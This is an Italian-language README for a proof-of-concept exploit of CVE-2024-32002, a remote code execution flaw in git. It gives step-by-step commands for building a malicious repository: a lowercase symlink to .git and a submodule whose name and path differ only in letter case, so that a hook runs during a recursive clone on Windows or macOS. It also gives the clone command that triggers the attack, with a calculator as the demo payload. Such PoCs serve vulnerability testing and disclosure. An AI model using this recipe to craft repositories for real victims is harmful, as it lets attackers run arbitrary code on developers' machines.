CVE-2024-32002 RCE POC
Un POC per CVE-2024-32002 che dimostra l'esecuzione remota di codice (RCE).
Vedi cve-2024-32002-poc-rce per il repository del sottomodulo correlato.
Cosa contiene questo repo
- Un symlink con un nome arbitrario che punta alla directory
.git.
- Un file
.gitmodules che definisce il sottomodulo malevolo.
Come ricreare questo repo
Questo repo è stato creato su Linux (WSL2, per essere precisi). Questo è importante: il repo malevolo può essere creato solo su un filesystem sensibile alle maiuscole/minuscole.
- Crea un symlink, utilizzando solo caratteri minuscoli
ln -s .git submodule
Note:
- Il symlink dovrebbe puntare alla cartella .git, poiché è dove vogliamo scrivere i file
- Il nome del symlink (submodule) è arbitrario, ma dovrebbe iniziare con un carattere minuscolo
- Questo è importante, perché i caratteri minuscoli vengono prima di quelli maiuscoli nell'ordinamento. Quando la macchina che clona si confonde su dove scrivere i file del sottomodulo, vogliamo che scelga il symlink e non una directory normale.
- Aggiungi il sottomodulo malevolo, notando la differenza di maiuscole/minuscole nel nome della directory del sottomodulo
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Note:
- Il nome del sottomodulo ("rce/notexists") è importante, entrerà in gioco quando posizioneremo il nostro hook nel sottomodulo.
- "rce" deve corrispondere all'ultimo segmento del percorso del sottomodulo.
- "notexists" deve corrispondere al nome della directory che contiene hooks/post-checkout nella directory del sottomodulo. Vedi cve-2024-32002-poc-rce.
- Anche la struttura del percorso del sottomodulo ("Submodule/modules/rce") è importante:
- Il primo segmento del percorso del sottomodulo ("Submodule") dovrebbe corrispondere al nome del symlink sopra, differendo solo per maiuscole/minuscole.
- Il secondo segmento ("modules") corrisponde al nome del percorso all'interno della directory
.git che traccia lo stato git dei sottomoduli.
- Il terzo segmento ("rce") deve corrispondere al primo segmento del nome del sottomodulo sopra.
Come eseguire il POC
Questa vulnerabilità colpisce solo Windows e MacOS perché entrambi hanno filesystem insensibili alle maiuscole/minuscole.
- Controlla se hai una versione vulnerabile di git. Vedi l'avviso di GitHub per le versioni affette.
git --version
- Pensa se vuoi consapevolmente eseguire un comando che potrebbe ottenere RCE... Questo repo è benigno, ma sei sicuro?
- Esegui il seguente comando:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Se il POC ha funzionato, dovresti essere in grado di fare qualche calcolo!